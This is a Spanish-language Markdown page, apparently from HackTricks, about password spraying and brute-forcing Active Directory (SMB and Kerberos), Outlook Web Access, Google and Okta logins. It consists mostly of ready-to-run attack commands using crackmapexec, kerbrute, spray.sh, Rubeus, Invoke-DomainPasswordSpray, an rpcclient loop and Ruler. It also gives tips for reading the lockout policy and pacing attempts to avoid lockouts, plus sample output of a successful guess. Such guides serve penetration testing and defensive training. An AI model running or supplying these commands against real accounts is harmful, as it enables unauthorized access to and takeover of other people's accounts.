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130 lines
6.0 KiB
Markdown
130 lines
6.0 KiB
Markdown
# Password Spraying / Brute Force
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{{#include ../../banners/hacktricks-training.md}}
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## **Password Spraying**
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Una vez que hayas encontrado varios **nombres de usuario válidos**, puedes probar las **contraseñas más comunes** (ten en cuenta la política de contraseñas del entorno) con cada uno de los usuarios descubiertos.\
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Por **defecto**, la **longitud mínima** de la **contraseña** es **7**.
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Las listas de nombres de usuario comunes también podrían ser útiles: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
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Ten en cuenta que **podrías bloquear algunas cuentas si intentas varias contraseñas incorrectas** (por defecto más de 10).
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### Obtener la política de contraseñas
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Si tienes algunas credenciales de usuario o una shell como usuario de dominio, puedes **obtener la política de contraseñas con**:
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```bash
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# From Linux
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crackmapexec <IP> -u 'user' -p 'password' --pass-pol
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enum4linux -u 'username' -p 'password' -P <IP>
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rpcclient -U "" -N 10.10.10.10;
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rpcclient $>querydominfo
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ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
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# From Windows
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net accounts
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(Get-DomainPolicy)."SystemAccess" #From powerview
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```
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### Explotación desde Linux (o todos)
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- Usando **crackmapexec:**
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```bash
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crackmapexec smb <IP> -u users.txt -p passwords.txt
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# Local Auth Spray (once you found some local admin pass or hash)
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## --local-auth flag indicate to only try 1 time per machine
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crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
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```
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- Usando [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
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```bash
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# Password Spraying
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./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
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# Brute-Force
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./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
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```
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- [**spray**](https://github.com/Greenwolf/Spray) _**(puedes indicar el número de intentos para evitar bloqueos):**_
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```bash
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spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
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```
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- Usando [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NO RECOMENDADO A VECES NO FUNCIONA
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```bash
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python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
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python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
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```
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- Con el módulo `scanner/smb/smb_login` de **Metasploit**:
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.png>)
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- Usando **rpcclient**:
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```bash
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# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
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for u in $(cat users.txt); do
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rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
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done
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```
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#### Desde Windows
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- Con la versión de [Rubeus](https://github.com/Zer1t0/Rubeus) con el módulo de fuerza bruta:
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```bash
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# with a list of users
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.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
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# check passwords for all users in current domain
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.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
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```
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- Con [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Puede generar usuarios del dominio por defecto y obtendrá la política de contraseñas del dominio y limitará los intentos de acuerdo a ella):
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```powershell
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Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
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```
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- Con [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
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```
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Invoke-SprayEmptyPassword
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```
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## Fuerza Bruta
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```bash
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legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
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```
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## Outlook Web Access
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Hay múltiples herramientas para p**assword spraying outlook**.
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- Con [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
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- con [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
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- Con [Ruler](https://github.com/sensepost/ruler) (¡fiable!)
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- Con [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
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- Con [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
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Para usar cualquiera de estas herramientas, necesitas una lista de usuarios y una contraseña / una pequeña lista de contraseñas para spray.
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```bash
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./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
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[x] Failed: larsson:Summer2020
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[x] Failed: cube0x0:Summer2020
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[x] Failed: a.admin:Summer2020
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[x] Failed: c.cube:Summer2020
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[+] Success: s.svensson:Summer2020
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```
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## Google
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- [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
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## Okta
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- [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
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- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
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- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
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## Referencias
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- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
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- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
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- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
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- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
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{{#include ../../banners/hacktricks-training.md}}
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